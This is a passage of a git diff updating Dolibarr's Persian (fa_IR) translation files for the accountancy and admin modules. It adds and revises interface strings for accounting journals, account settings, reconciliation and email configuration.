UserPersonalMobile=Personal mobile phone WarningNotLangOfInterface=Warning, this is the main language the user speak, not the language of the interface he choosed to see. To change the interface language visible by this user, go on tab %s +DateLastLogin=Date last login +DatePreviousLogin=Date previous login +IPLastLogin=IP last login +IPPreviousLogin=IP previous login +ShowAllPerms=Show all permission rows +HideAllPerms=Hide all permission rows diff --git a/htdocs/langs/fa_IR/accountancy.lang b/htdocs/langs/fa_IR/accountancy.lang index 5484f0752a5..2d0970ce61f 100644 --- a/htdocs/langs/fa_IR/accountancy.lang +++ b/htdocs/langs/fa_IR/accountancy.lang @@ -14,8 +14,8 @@ ACCOUNTING_EXPORT_ENDLINE=انتخاب نوع بازگشت محموله ACCOUNTING_EXPORT_PREFIX_SPEC=انتخاب پیش‌وند نام فایل ThisService=این خدمت ThisProduct=این محصول -DefaultForService=پیش‌فرض برای خدمات -DefaultForProduct=پیش‌فرض برای محصول +DefaultForService=Default for services +DefaultForProduct=Default for products ProductForThisThirdparty=Product for this thirdparty ServiceForThisThirdparty=Service for this thirdparty CantSuggest=امکان پیش‌نهاد نیست @@ -48,8 +48,9 @@ CountriesNotInEEC=کشورهائی که در اتحادیۀ اروپا نیست CountriesInEECExceptMe=کشورهائی که در اتحادیۀ اروپا هستند به استثناء %s CountriesExceptMe=همۀ کشورها باستثناء %s AccountantFiles=Export source documents -ExportAccountingSourceDocHelp=With this tool, you can export the source events (list in CSV and PDFs) that are used to generate your accountancy. +ExportAccountingSourceDocHelp=With this tool, you can search and export the source events that are used to generate your accountancy.
      The exported ZIP file will contain the lists of requested items in CSV, as well as their attached files in their original format (PDF, ODT, DOCX...). ExportAccountingSourceDocHelp2=To export your journals, use the menu entry %s - %s. +ExportAccountingProjectHelp=Specify a project if you need an accounting report only for a specific project. Expense reports and loan payments are not included in project reports. VueByAccountAccounting=View by accounting account VueBySubAccountAccounting=View by accounting subaccount @@ -58,6 +59,7 @@ MainAccountForSuppliersNotDefined=در برپاسازی برای تامین کن MainAccountForUsersNotDefined=در برپاسازی برای کاربران حساب حساب‌داری اصلی تعریف نشده است MainAccountForVatPaymentNotDefined=در برپاسازی برای مالیات بر ارزش افزوده حساب حساب‌داری اصلی تعریف نشده است MainAccountForSubscriptionPaymentNotDefined=در برپاسازی برای پرداخت اشتراک حساب حساب‌داری اصلی تعریف نشده است +UserAccountNotDefined=Accounting account for user not defined in setup AccountancyArea=بخش حساب‌داری AccountancyAreaDescIntro=استفاده از بخش حساب‌داری در گام‌های متعددی انجام می‌پذیرد: @@ -99,7 +101,8 @@ ShowAccountingAccount=نمایش حساب حساب‌داری ShowAccountingJournal=نمایش دفترنویسی حساب‌داری ShowAccountingAccountInLedger=Show accounting account in ledger ShowAccountingAccountInJournals=Show accounting account in journals -AccountAccountingSuggest=حساب حسابداری پیشنهاد شده +DataUsedToSuggestAccount=Data used to suggest account +AccountAccountingSuggest=Account suggested MenuDefaultAccounts=حساب‌های پیش‌فرض MenuBankAccounts=حسابهای بانکی MenuVatAccounts=حساب‌های مالیات بر ارزش افزوده @@ -124,6 +127,7 @@ WriteBookKeeping=Record transactions in accounting Bookkeeping=دفترکل BookkeepingSubAccount=Subledger AccountBalance=موجودی حساب +AccountBalanceSubAccount=Sub-accounts balance ObjectsRef=مرجع شیء منبع CAHTF=خرید کل تامین کننده قبل از مالیات TotalExpenseReport=گزارش هزینۀ کل @@ -161,42 +165,47 @@ BANK_DISABLE_DIRECT_INPUT=غیرفعال کردن ثبت مستقیم تراکن ACCOUNTING_ENABLE_EXPORT_DRAFT_JOURNAL=فعال کردن خروجی پیش‌نویس از دفتر ACCOUNTANCY_COMBO_FOR_AUX=Enable combo list for subsidiary account (may be slow if you have a lot of third parties, break ability to search on a part of value) ACCOUNTING_DATE_START_BINDING=Define a date to start binding & transfer in accountancy. Below this date, the transactions will not be transferred to accounting. -ACCOUNTING_DEFAULT_PERIOD_ON_TRANSFER=On accountancy transfer, select period show by default +ACCOUNTING_DEFAULT_PERIOD_ON_TRANSFER=On accountancy transfer, what is the period selected by default -ACCOUNTING_SELL_JOURNAL=دفتر فروش -ACCOUNTING_PURCHASE_JOURNAL=دفتر خرید -ACCOUNTING_MISCELLANEOUS_JOURNAL=دفتر متفرقه +ACCOUNTING_SELL_JOURNAL=Sales journal (sales and returns) +ACCOUNTING_PURCHASE_JOURNAL=Purchase journal (purchase and returns) +ACCOUNTING_BANK_JOURNAL=Cash journal (receipts and disbursements) ACCOUNTING_EXPENSEREPORT_JOURNAL=دفتر گزارش هزینه‌ها -ACCOUNTING_SOCIAL_JOURNAL=دفتر اجتماعی +ACCOUNTING_MISCELLANEOUS_JOURNAL=General journal ACCOUNTING_HAS_NEW_JOURNAL=دفتر جدید دارد +ACCOUNTING_INVENTORY_JOURNAL=Inventory journal +ACCOUNTING_SOCIAL_JOURNAL=دفتر اجتماعی ACCOUNTING_RESULT_PROFIT=نتیجۀ حساب حساب‌داری (سود) ACCOUNTING_RESULT_LOSS=نتیجۀ حساب حساب‌داری (ضرر) ACCOUNTING_CLOSURE_DEFAULT_JOURNAL=دفتر خاتمه -ACCOUNTING_ACCOUNT_TRANSFER_CASH=حساب‌حسابداری انتقال پول بین‌بانکی +ACCOUNTING_ACCOUNT_TRANSFER_CASH=Account (from the Chart Of Account) to be used as the account for transitional bank transfers TransitionalAccount=Transitional bank transfer account -ACCOUNTING_ACCOUNT_SUSPENSE=حساب حساب‌داری انتظار -DONATION_ACCOUNTINGACCOUNT=حساب حساب‌داری ثبت کمک و اعانه -ADHERENT_SUBSCRIPTION_ACCOUNTINGACCOUNT=حساب حساب‌داری ثبت اشتراک‌ها +ACCOUNTING_ACCOUNT_SUSPENSE=Account (from the Chart Of Account) to be used as the account for unallocated funds either received or paid i.e. funds in "wait[ing]" +DONATION_ACCOUNTINGACCOUNT=Account (from the Chart Of Account) to be used to register donations (Donation module) +ADHERENT_SUBSCRIPTION_ACCOUNTINGACCOUNT=Account (from the Chart Of Account) to be used to register memberships subscriptions (Membership module - if membership recorded without invoice) -ACCOUNTING_ACCOUNT_CUSTOMER_DEPOSIT=Accounting account by default to register customer deposit -UseAuxiliaryAccountOnCustomerDeposit=Use sub-accounts on customer deposit lines +ACCOUNTING_ACCOUNT_CUSTOMER_DEPOSIT=Account (from the Chart Of Account) to be used as the default account to register customer deposit +UseAuxiliaryAccountOnCustomerDeposit=Store customer account as individual account in subsidiary ledger for lines of down payments (if disabled, individual account for down payment lines will remain empty) +ACCOUNTING_ACCOUNT_SUPPLIER_DEPOSIT=Account (from the Chart Of Account) to be used as the default +UseAuxiliaryAccountOnSupplierDeposit=Store supplier account as individual account in subsidiary ledger for lines of down payments (if disabled, individual account for down payment lines will remain empty) +ACCOUNTING_ACCOUNT_CUSTOMER_RETAINED_WARRANTY=Accounting account by default to register customer retained warranty -ACCOUNTING_PRODUCT_BUY_ACCOUNT=Accounting account by default for the bought products (used if not defined in the product sheet) -ACCOUNTING_PRODUCT_BUY_INTRA_ACCOUNT=Accounting account by default for the bought products in EEC (used if not defined in the product sheet) -ACCOUNTING_PRODUCT_BUY_EXPORT_ACCOUNT=Accounting account by default for the bought products and imported out of EEC (used if not defined in the product sheet) -ACCOUNTING_PRODUCT_SOLD_ACCOUNT=حساب حساب‌داری پیش‌فرض برای محصولات فروخته شده (در صورت عدم تعریف در برگۀ محصولات استفاده می‌شود) -ACCOUNTING_PRODUCT_SOLD_INTRA_ACCOUNT=Accounting account by default for the products sold in EEC (used if not defined in the product sheet) -ACCOUNTING_PRODUCT_SOLD_EXPORT_ACCOUNT=Accounting account by default for the products sold and exported out of EEC (used if not defined in the product sheet) +ACCOUNTING_PRODUCT_BUY_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the products purchased within same country (used if not defined in the product sheet) +ACCOUNTING_PRODUCT_BUY_INTRA_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the products purchased from EEC to another EEC country (used if not defined in the product sheet) +ACCOUNTING_PRODUCT_BUY_EXPORT_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the products purchased and imported from any other foreign country (used if not defined in the product sheet) +ACCOUNTING_PRODUCT_SOLD_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the sold products (used if not defined in the product sheet) +ACCOUNTING_PRODUCT_SOLD_INTRA_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the products sold from EEC to another EEC country (used if not defined in the product sheet) +ACCOUNTING_PRODUCT_SOLD_EXPORT_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the products sold and exported to any other foreign country (used if not defined in the product sheet) -ACCOUNTING_SERVICE_BUY_ACCOUNT=حساب حساب‌داری پیش‌فرض برای خدمات خریداری شده (در صورت عدم تعریف در برگۀ خدمات استفاده می‌شود) -ACCOUNTING_SERVICE_BUY_INTRA_ACCOUNT=Accounting account by default for the bought services in EEC (used if not defined in the service sheet) -ACCOUNTING_SERVICE_BUY_EXPORT_ACCOUNT=Accounting account by default for the bought services and imported out of EEC (used if not defined in the service sheet) -ACCOUNTING_SERVICE_SOLD_ACCOUNT=حساب حساب‌داری پیش‌فرض برای خدمات فروخته شده (در صورت عدم تعریف در برگۀ خدمات استفاده می‌شود) -ACCOUNTING_SERVICE_SOLD_INTRA_ACCOUNT=Accounting account by default for the services sold in EEC (used if not defined in the service sheet) -ACCOUNTING_SERVICE_SOLD_EXPORT_ACCOUNT=Accounting account by default for the services sold and exported out of EEC (used if not defined in the service sheet) +ACCOUNTING_SERVICE_BUY_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the services purchased within same country (used if not defined in the service sheet) +ACCOUNTING_SERVICE_BUY_INTRA_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the services purchased from EEC to another EEC country (used if not defined in the service sheet) +ACCOUNTING_SERVICE_BUY_EXPORT_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the services purchased and imported from other foreign country (used if not defined in the service sheet) +ACCOUNTING_SERVICE_SOLD_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the sold services (used if not defined in the service sheet) +ACCOUNTING_SERVICE_SOLD_INTRA_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the services sold from EEC to another EEC country (used if not defined in the service sheet) +ACCOUNTING_SERVICE_SOLD_EXPORT_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the services sold and exported to any other foreign country (used if not defined in the service sheet) Doctype=نوع سند Docdate=تاریخ @@ -211,7 +220,8 @@ Codejournal=دفتر JournalLabel=برچسب دفتر NumPiece=شمارۀ بخش TransactionNumShort=تعداد تراکنش‌ها -AccountingCategory=Custom group +AccountingCategory=Custom group of accounts +AccountingCategories=Custom groups of accounts GroupByAccountAccounting=Group by general ledger account GroupBySubAccountAccounting=Group by subledger account AccountingAccountGroupsDesc=در این قسمت می‌توانید گروه‌های متشکل از حساب‌حساب‌داری بسازید. این گروه‌ها برای گزارش‌های دل‌خواه حساب‌داری استفاده می‌شود. @@ -259,19 +269,20 @@ ShowSubtotalByGroup=Show subtotal by level Pcgtype=گروه حساب PcgtypeDesc=Group of account are used as predefined 'filter' and 'grouping' criteria for some accounting reports. For example, 'INCOME' or 'EXPENSE' are used as groups for accounting accounts of products to build the expense/income report. +AccountingCategoriesDesc=Custom group of accounts can be used to group accounting accounts into one name to ease filter use or building of custom reports. Reconcilable=Reconcilable TotalVente=جمع گردش‌مالی پیش‌از محاسبۀ مالیات TotalMarge=حاشیه فروش کل -DescVentilCustomer=در اینجا فهرست سطور صورت‌حساب مشتری را که در یک حساب حساب‌داری محصول بند شده‌اند (یا نشده‌اند) را ملاحظه کنید -DescVentilMore=در اکثر موارد در صورتی‌که از محصولات یا خدمات ازپیش‌تعریف‌شده استفاده کنید و شمارۀ حساب را بر روی کارت محصول/خدمت تعریف کنید، برنامه قادر خواهد بود همۀ بندهای لازم را بین سطور صورت‌حساب و حساب حساب‌داری در ساختار حساب‌های شما ایجاد کنید، فقط با یک کلیک بر روی کلید "%s". در صورتی که حساب در کارت‌های محصول/خدمت تعریف نشده باشد یا این‌که هنوز سطوری داشته باشید که به یک حساب بند نشده باشد، شما باید این بندها را از طریق فهرست "%s" ایجاد نمائید. -DescVentilDoneCustomer=در این قسمت فهرستی از سطور صورت‌حساب‌های مشتری‌ها و حساب حساب‌داری محصولات آن‌ها را ملاحظه کنید -DescVentilTodoCustomer=بندکردن سطور صورت‌حساب‌هائی که فعلا به یک حساب‌حساب‌داری محصول بند نشده‌اند -ChangeAccount=تغییر حساب‌حسابداری محصول/خدمت برای سطور انتخاب شده با حساب‌حسابداری زیر: +DescVentilCustomer=Consult here the list of customer invoice lines bound (or not) to a product account from chart of account +DescVentilMore=In most cases, if you use predefined products or services and you set the account (from chart of account) on the product/service card, the application will be able to make all the binding between your invoice lines and the accounting account of your chart of accounts, just in one click with the button "%s". If account was not set on product/service cards or if you still have some lines not bound to an account, you will have to make a manual binding from the menu "%s". +DescVentilDoneCustomer=Consult here the list of the lines of invoices customers and their product account from chart of account +DescVentilTodoCustomer=Bind invoice lines not already bound with a product account from chart of account +ChangeAccount=Change the product/service account (from chart of account) for the selected lines with the following account: Vide=- -DescVentilSupplier=Consult here the list of vendor invoice lines bound or not yet bound to a product accounting account (only record not already transfered in accountancy are visible) +DescVentilSupplier=Consult here the list of vendor invoice lines bound or not yet bound to a product account from chart of account (only record not already transfered in accountancy are visible) DescVentilDoneSupplier=در این قسمت فهرستی از سطور صورت‌حساب‌های تامین کنندگان و حساب‌حساب‌داری آن‌ها ملاحظه کنید DescVentilTodoExpenseReport=بندکردن سطور گزارش هزینه‌هائی که قبلا به حساب‌حسابداری پرداختی بند نشده‌اند DescVentilExpenseReport=در این قسمت فهرستی از سطور گزارش هزینه‌هائی را که به یک حساب‌حساب‌داری پرداخت بندشده‌اند (یا نشده‌اند) را ملاحظه کنید @@ -279,24 +290,25 @@ DescVentilExpenseReportMore=در صورتی‌که شما حساب‌حساب‌ DescVentilDoneExpenseReport=در این قسمت فهرستی از سطور گزارشات هزینه و حساب‌حساب‌داری پرداخت آن‌ها را داشته باشید Closure=Annual closure -DescClosure=Consult here the number of movements by month who are not yet validated & locked +DescClosure=Consult here the number of movements by month not yet validated & locked OverviewOfMovementsNotValidated=Overview of movements not validated and locked AllMovementsWereRecordedAsValidated=All movements were recorded as validated and locked NotAllMovementsCouldBeRecordedAsValidated=Not all movements could be recorded as validated and locked -ValidateMovements=Validate and lock record... +ValidateMovements=Validate and lock movements... DescValidateMovements=Any modification or deletion of writing, lettering and deletes will be prohibited. All entries for an exercise must be validated otherwise closing will not be possible ValidateHistory=بندکردن خودکار AutomaticBindingDone=Automatic bindings done (%s) - Automatic binding not possible for some record (%s) +DoManualBindingForFailedRecord=You have to do a manual link for the %s row(s) not linked automatically. -ErrorAccountancyCodeIsAlreadyUse=خطا! شما نمی‌توانید این حساب حساب‌داری را حذف کنید، زیرا در حال استفاده است. +ErrorAccountancyCodeIsAlreadyUse=Error, you cannot remove or disable this account of chart of account because it is used MvtNotCorrectlyBalanced=Movement not correctly balanced. Debit = %s & Credit = %s Balancing=تعدیل FicheVentilation=بندشدن کارت GeneralLedgerIsWritten=تراکنش‌ها در دفترکل درج شده GeneralLedgerSomeRecordWasNotRecorded=برخی از تراکنش‌ها امکان دفترنویسی ندارند. در صورتی که خطای دیگری وجود نداشته باشد، این بدان معناست که قبلا در دفتر وارد شده‌اند. NoNewRecordSaved=No more record to transfer -ListOfProductsWithoutAccountingAccount=فهرست محصولاتی که به هیچ حساب حساب‌داری بند نشده‌اند +ListOfProductsWithoutAccountingAccount=List of products not bound to any account of chart of account ChangeBinding=تغییر بند‌شدن‌ها Accounted=در دفترکل حساب‌شده است NotYetAccounted=Not yet transferred to accounting @@ -319,9 +331,10 @@ AccountingJournalType1=فعالیت‌های متفرقه AccountingJournalType2=فروش AccountingJournalType3=خرید AccountingJournalType4=بانک -AccountingJournalType5=گزارش هزینه‌ها +AccountingJournalType5=گزارش‌هزینه‌ها AccountingJournalType8=انبار AccountingJournalType9=جدید-دارد +GenerationOfAccountingEntries=Generation of accounting entries ErrorAccountingJournalIsAlreadyUse=این دفتر فعلا در حال استفاده است AccountingAccountForSalesTaxAreDefinedInto=نکته: حساب حساب‌داری برای مالیات بر فروش در گزینۀ %s - %s قابل تعریف است NumberOfAccountancyEntries=تعداد ورودی‌ها @@ -329,10 +342,14 @@ NumberOfAccountancyMovements=تعداد جابجائی‌ها ACCOUNTING_DISABLE_BINDING_ON_SALES=Disable binding & transfer in accountancy on sales (customer invoices will not be taken into account in accounting) ACCOUNTING_DISABLE_BINDING_ON_PURCHASES=Disable binding & transfer in accountancy on purchases (vendor invoices will not be taken into account in accounting) ACCOUNTING_DISABLE_BINDING_ON_EXPENSEREPORTS=Disable binding & transfer in accountancy on expense reports (expense reports will not be taken into account in accounting) +ACCOUNTING_ENABLE_LETTERING=Enable the lettering function in the accounting +ACCOUNTING_ENABLE_AUTOLETTERING=Enable the automatic lettering when transferring to accounting ## Export +NotExportLettering=Do not export the lettering when generating the file NotifiedExportDate=Flag exported lines as Exported (to modify a line, you will need to delete the whole transaction and re-transfert it into accounting) -NotifiedValidationDate=Validate and Lock the exported entries (same effect than the "Closure" feature, modification and deletion of the lines will DEFINITELY not be possible) +NotifiedValidationDate=Validate and Lock the exported entries (same effect than the "%s" feature, modification and deletion of the lines will DEFINITELY not be possible) +NotifiedExportFull=Export documents ? DateValidationAndLock=Date validation and lock ConfirmExportFile=Confirmation of the generation of the accounting export file ? ExportDraftJournal=صادرکردن پیش‌نویس دفتر @@ -389,7 +406,7 @@ SaleLocal=Local sale SaleExport=Export sale SaleEEC=Sale in EEC SaleEECWithVAT=Sale in EEC with a VAT not null, so we suppose this is NOT an intracommunautary sale and the suggested account is the standard product account. -SaleEECWithoutVATNumber=Sale in EEC with no VAT but the VAT ID of thirdparty is not defined. We fallback on the product account for standard sales. You can fix the VAT ID of thirdparty or the product account if needed. +SaleEECWithoutVATNumber=Sale in EEC with no VAT but the VAT ID of thirdparty is not defined. We fall back on the account for standard sales. You can fix the VAT ID of the thirdparty, or change the product account suggested for binding if needed. ForbiddenTransactionAlreadyExported=Forbidden: The transaction has been validated and/or exported. ForbiddenTransactionAlreadyValidated=Forbidden: The transaction has been validated. ## Dictionary @@ -398,7 +415,11 @@ Calculated=محاسبه‌شده Formula=فرمول ## Reconcile +LetteringAuto=Reconcile auto +LetteringManual=Reconcile manual Unlettering=Unreconcile +UnletteringAuto=Unreconcile auto +UnletteringManual=Unreconcile manual AccountancyNoLetteringModified=No reconcile modified AccountancyOneLetteringModifiedSuccessfully=One reconcile successfully modified AccountancyLetteringModifiedSuccessfully=%s reconcile successfully modified @@ -407,8 +428,9 @@ AccountancyOneUnletteringModifiedSuccessfully=One unreconcile successfully modif AccountancyUnletteringModifiedSuccessfully=%s unreconcile successfully modified ## Confirm box -ConfirmMassUnlettering=Bulk Unreconcile confirmation -ConfirmMassUnletteringQuestion=Are you sure you want to Unreconcile the %s selected record(s)? +ConfirmMassUnletteringAuto=Bulk auto unreconcile confirmation +ConfirmMassUnletteringManual=Bulk manual unreconcile confirmation +ConfirmMassUnletteringQuestion=Are you sure you want to unreconcile the %s selected record(s)? ConfirmMassDeleteBookkeepingWriting=تائید حذف گروهی ConfirmMassDeleteBookkeepingWritingQuestion=This will delete the transaction from the accounting (all lines related to the same transaction will be deleted) Are you sure you want to delete the %s selected record(s)? @@ -427,6 +449,8 @@ SorryThisModuleIsNotCompatibleWithTheExperimentalFeatureOfSituationInvoices=Sorr AccountancyErrorMismatchLetterCode=Mismatch in reconcile code AccountancyErrorMismatchBalanceAmount=The balance (%s) is not equal to 0 AccountancyErrorLetteringBookkeeping=Errors have occurred concerning the transactions: %s +ErrorAccountNumberAlreadyExists=The accounting number %s already exists +ErrorArchiveAddFile=Can't put "%s" file in archive ## Import ImportAccountingEntries=ورودی‌های حساب‌داری @@ -453,6 +477,7 @@ FECFormatMulticurrencyCode=Multicurrency code (Idevise) DateExport=Date export WarningReportNotReliable=هشدار! این گزارش بر مبنای دفتر کل نمی‌باشد، بنابراین دربردارندۀ تراکنش‌هائی که به شکل دستی در دفترکل ویرایش شده‌اند نیست. در صورتی که دفترنویسی شما روزآمد باشد، نمای «دفترنویسی» دقیق‌تر است. ExpenseReportJournal=دفتر گزارش هزینه‌ها -InventoryJournal=دفتر انبار +DocsAlreadyExportedAreExcluded=Docs already exported are excluded +ClickToHideAlreadyExportedLines=Click to hide already exported lines NAccounts=%s accounts diff --git a/htdocs/langs/fa_IR/admin.lang b/htdocs/langs/fa_IR/admin.lang index 51c5101f3f2..66542015c3d 100644 --- a/htdocs/langs/fa_IR/admin.lang +++ b/htdocs/langs/fa_IR/admin.lang @@ -51,8 +51,6 @@ ClientSortingCharset=تنظیمات collation مشتری WarningModuleNotActive=واحد %s باید فعال باشد WarningOnlyPermissionOfActivatedModules=تنها مجوزهای مربوط به واحد‌های فعال در اینجا نشان داده شده است. شما می توانید ماژول های دیگر در صفحۀاصلی->برپاسازی->واحد‌ها فعال کنید. DolibarrSetup=نصب یا ارتقای Dolibarr -InternalUser=کاربر داخلی -ExternalUser=کاربر خارجی InternalUsers=کاربران داخلی ExternalUsers=کاربران خارجی UserInterface=User interface @@ -147,6 +145,7 @@ Box=وسیله Boxes=وسایل MaxNbOfLinesForBoxes=حداکثر سطور وسایل AllWidgetsWereEnabled=همۀ وسیله‌های موجود فعال هستند +WidgetAvailable=Widget available PositionByDefault=ترتیب پیش‌فرض Position=مکان MenusDesc=اداره‌کننده‌های فهرست‌ها محتوای دو نوار فهرست را تعیین می‌کنند (افقی و عمودی). @@ -294,6 +293,7 @@ MAIN_MAIL_SMTP_SERVER=میزبان SMTP/SMTPS (مقدار پیش‌فرض در p MAIN_MAIL_SMTP_PORT_NotAvailableOnLinuxLike=درگاه SMTP/SMTPS (در سامانه‌های ردۀ یونیکس تعریف نشده ) MAIN_MAIL_SMTP_SERVER_NotAvailableOnLinuxLike=میزبان SMTP/SMTPS (در سامانه‌های ردۀ یونیکس تعریف نشده ) MAIN_MAIL_EMAIL_FROM=رایانامۀ ارسال کننده برای ارسال‌های خودکار (مقدار پیش‌فرض در php.ini : %s ) +EMailHelpMsgSPFDKIM=To prevent Dolibarr emails to be classified as spam, make sure that the server is authorized to send e-mails from this address by SPF and DKIM configuration MAIN_MAIL_ERRORS_TO=رایانامه‌ای که برای ارسال پاسخ در نظر گرفت می‌شود ( بخش‌های "Errors-To" در پیام فرستاده شده) MAIN_MAIL_AUTOCOPY_TO= ارسال یک نسخه (Bcc) از همۀ پیام‌های ارسال شده به MAIN_DISABLE_ALL_MAILS=توقف ارسال همۀ رایانامه‌ها (برای اهداف آزمایشی یا نمایشی) @@ -375,7 +375,7 @@ DoTestSendHTML=آزمایش ارسال HTML ErrorCantUseRazIfNoYearInMask=خطا، در صورتی {yy} یا {yyyy} در ترتیب شمارنده نباشد، امکان استفاده از گزینۀ @ برای بازسازی شمارنده در هر سال وجود ندارد. ErrorCantUseRazInStartedYearIfNoYearMonthInMask=خطا، در صورتی {yy}{mm} یا {yyyy}{mm} در ترتیب شمارنده نباشد، امکان استفاده از گزینۀ @ برای بازسازی شمارنده در هر سال وجود ندارد. UMask=مقدار UMask برای فایل‌های جدید در سامانه‌های فایل Unix/Linux/BSD/Mac -UMaskExplanation=این مقدار به شما امکان تعیین مجوزهای پیش‌فرض فایل‌ها که توسط Dolibarr روی سرور (مثلا در هنگام بالاگذاری فایل) ساخته شده می‌دهد.
      این باید یک مقدار هشت‌هشتی باشد (برای مثال، 0666 به معنای امکان خواندن و نوشتن برای همه است).
      این مقدار در یک سرور ویندوزی بی‌معنی است. +UMaskExplanation=This parameter allow you to define permissions set by default on files created by Dolibarr on server (during upload for example).
      It must be the octal value (for example, 0666 means read and write for everyone.). Recommended value is 0600 or 0660
      This parameter is useless on a Windows server. SeeWikiForAllTeam=برای مطالعۀ فهرست مشارکت کنندگان و موسسات آن‌ها به صفحات ویکی مراجعه فرمائید. UseACacheDelay= تاخیر برای میان‌گیری-Caching واکنش به صادرات در واحد ثانیه (0 یا خالی برای عدم ایجاد میان‌گیری) DisableLinkToHelpCenter=Hide the link "Need help or support" on the login page @@ -439,8 +439,10 @@ Unique=منحصربه‌فرد Boolean=بولی (یک کادر تائید) ExtrafieldPhone = تلفن ExtrafieldPrice = قیمت +ExtrafieldPriceWithCurrency=Price with currency ExtrafieldMail = رایانامه ExtrafieldUrl = نشانی اینترنتی +ExtrafieldIP = درگاه اینترنتی ExtrafieldSelect = فهرست قابل انتخاب ExtrafieldSelectList = انتخاب از جدول ExtrafieldSeparator=جداکننده (یک بخش مجزا نیست) @@ -450,7 +452,7 @@ ExtrafieldCheckBox=کادرهای تائید ExtrafieldCheckBoxFromList=کادرهای تائید از جدول ExtrafieldLink=پیوند به یک شیء ComputedFormula=بخش محاسبه شده -ComputedFormulaDesc=You can enter here a formula using other properties of object or any PHP coding to get a dynamic computed value. You can use any PHP compatible formulas including the "?" condition operator, and following global object: $db, $conf, $langs, $mysoc, $user, $object.
      WARNING: Only some properties of $object may be available. If you need a properties not loaded, just fetch yourself the object into your formula like in the second example.
      Using a computed field means you can't enter yourself any value from interface. Also, if there is a syntax error, the formula may return nothing.

      Example of formula:
      $object->id < 10 ? round($object->id / 2, 2): ($object->id + 2 * $user->id) * (int) substr($mysoc->zip, 1, 2)

      Example to reload object
      (($reloadedobj = new Societe($db)) && ($reloadedobj->fetchNoCompute($obj->id ? $obj->id: ($obj->rowid ? $obj->rowid: $object->id)) > 0)) ? $reloadedobj->array_options['options_extrafieldkey'] * $reloadedobj->capital / 5: '-1'

      Other example of formula to force load of object and its parent object:
      (($reloadedobj = new Task($db)) && ($reloadedobj->fetchNoCompute($object->id) > 0) && ($secondloadedobj = new Project($db)) && ($secondloadedobj->fetchNoCompute($reloadedobj->fk_project) > 0)) ? $secondloadedobj->ref: 'Parent project not found' +ComputedFormulaDesc=You can enter here a formula using other properties of object or any PHP coding to get a dynamic computed value. You can use any PHP compatible formulas including the "?" condition operator, and following global object: $db, $conf, $langs, $mysoc, $user, $objectoffield.
      WARNING: If you need properties of an object not loaded, just fetch yourself the object into your formula like in the second example.
      Using a computed field means you can't enter yourself any value from interface. Also, if there is a syntax error, the formula may return nothing.

      Example of formula:
      $objectoffield->id < 10 ? round($objectoffield->id / 2, 2): ($objectoffield->id + 2 * $user->id) * (int) substr($mysoc->zip, 1, 2)

      Example to reload object
      (($reloadedobj = new Societe($db)) && ($reloadedobj->fetchNoCompute($objectoffield->id) > 0 ? $reloadedobj->array_options['options_extrafieldkey'] * $reloadedobj->capital / 5: '-1')

      Other example of formula to force load of object and its parent object:
      (($reloadedobj = new Task($db)) && ($reloadedobj->fetchNoCompute($objectoffield->id) > 0) && ($secondloadedobj = new Project($db)) && ($secondloadedobj->fetchNoCompute($reloadedobj->fk_project) > 0)) ? $secondloadedobj->ref: 'Parent project not found' Computedpersistent=بخش محاسبه‌شدۀ فروشگاه ComputedpersistentDesc=بخش‌های محاسبه‌شدۀ اضافی در پایگاه داده ذخیره خواهند شد، به‌هرحال مقدار تنها در زمانی دوباره محاسبه خواهد شد که شیء این بخش تغییر کند. در صورتی که بخش محاسبه‌شده به سایر اشیاء یا داده‌های سراسری وابسته باشد، این مقدار ممکن است خطا باشد!! ExtrafieldParamHelpPassword=خالی رها کردن این بخش به معنای این است که مقدار بدون حفاظت ذخیره خواهد شد (بخش مربوطه باید با یک ستاره روی صفحه پنهان باشد).
      'auto' را برای استفاده از قواعد حفاظت برای ذخیرۀ گذرواژه در بانک‌داده ذخیره کنید (مقدار خوانده شده کدبندی شده است و امکان خواندن مقدار اصلی دیگر وجود نخواهد داشت) @@ -501,7 +503,8 @@ WarningPHPMail=WARNING: The setup to send emails from the application is using t WarningPHPMailA=- Using the server of the Email Service Provider increases the trustability of your email, so it increases the deliverablity without being flagged as SPAM WarningPHPMailB=- Some Email Service Providers (like Yahoo) do not allow you to send an email from another server than their own server. Your current setup uses the server of the application to send email and not the server of your email provider, so some recipients (the one compatible with the restrictive DMARC protocol), will ask your email provider if they can accept your email and some email providers (like Yahoo) may respond "no" because the server is not theirs, so few of your sent Emails may not be accepted for delivery (be careful also of your email provider's sending quota). WarningPHPMailC=- Using the SMTP server of your own Email Service Provider to send emails is also interesting so all emails sent from application will also be saved into your "Sent" directory of your mailbox. -WarningPHPMailD=Also, it is therefore recommended to change the sending method of e-mails to the value "SMTP". If you really want to keep the default "PHP" method to send emails, just ignore this warning, or remove it by setting the MAIN_HIDE_WARNING_TO_ENCOURAGE_SMTP_SETUP constant to 1 in Home - Setup - Other. +WarningPHPMailD=It is therefore recommended to change the sending method of e-mails to the value "SMTP". +WarningPHPMailDbis=If you really want to keep the default "PHP" method to send emails, just ignore this warning, or remove it by %sclicking here%s. WarningPHPMail2=در صورتی که ارائۀ خدمات رایانامۀ SMTP شما نیازمند محدود کردن مشتری خدمات رایانامه به درگاه‌های اینترنتی خاص است (در موارد معدود)، این نشانی درگاه اینترنتی کاربر رایانامه (MUA) برای برنامۀ ERP CRM شماست: %s. WarningPHPMailSPF=If the domain name in your sender email address is protected by a SPF record (ask your domain name registar), you must add the following IPs in the SPF record of the DNS of your domain: %s. ActualMailSPFRecordFound=Actual SPF record found (for email %s) : %s @@ -514,7 +517,7 @@ PageUrlForDefaultValuesCreate=
      مثال:
      برای برگۀ ساخت یک PageUrlForDefaultValuesList=
      مثال:
      برای صفحۀ فهرست اشخاص سوم، به شکل %s می‌باشد.
      برای نشانی مربوط به قسمت‌های خارجی که در یک پوشۀ دلخواه نصب‌شده، از "custom/" استفاده ننمائید، بلکه از مسیری مثل mymodule/mypagelist.php و به شکل custom/mymodule/mypagelist.php نباشد.
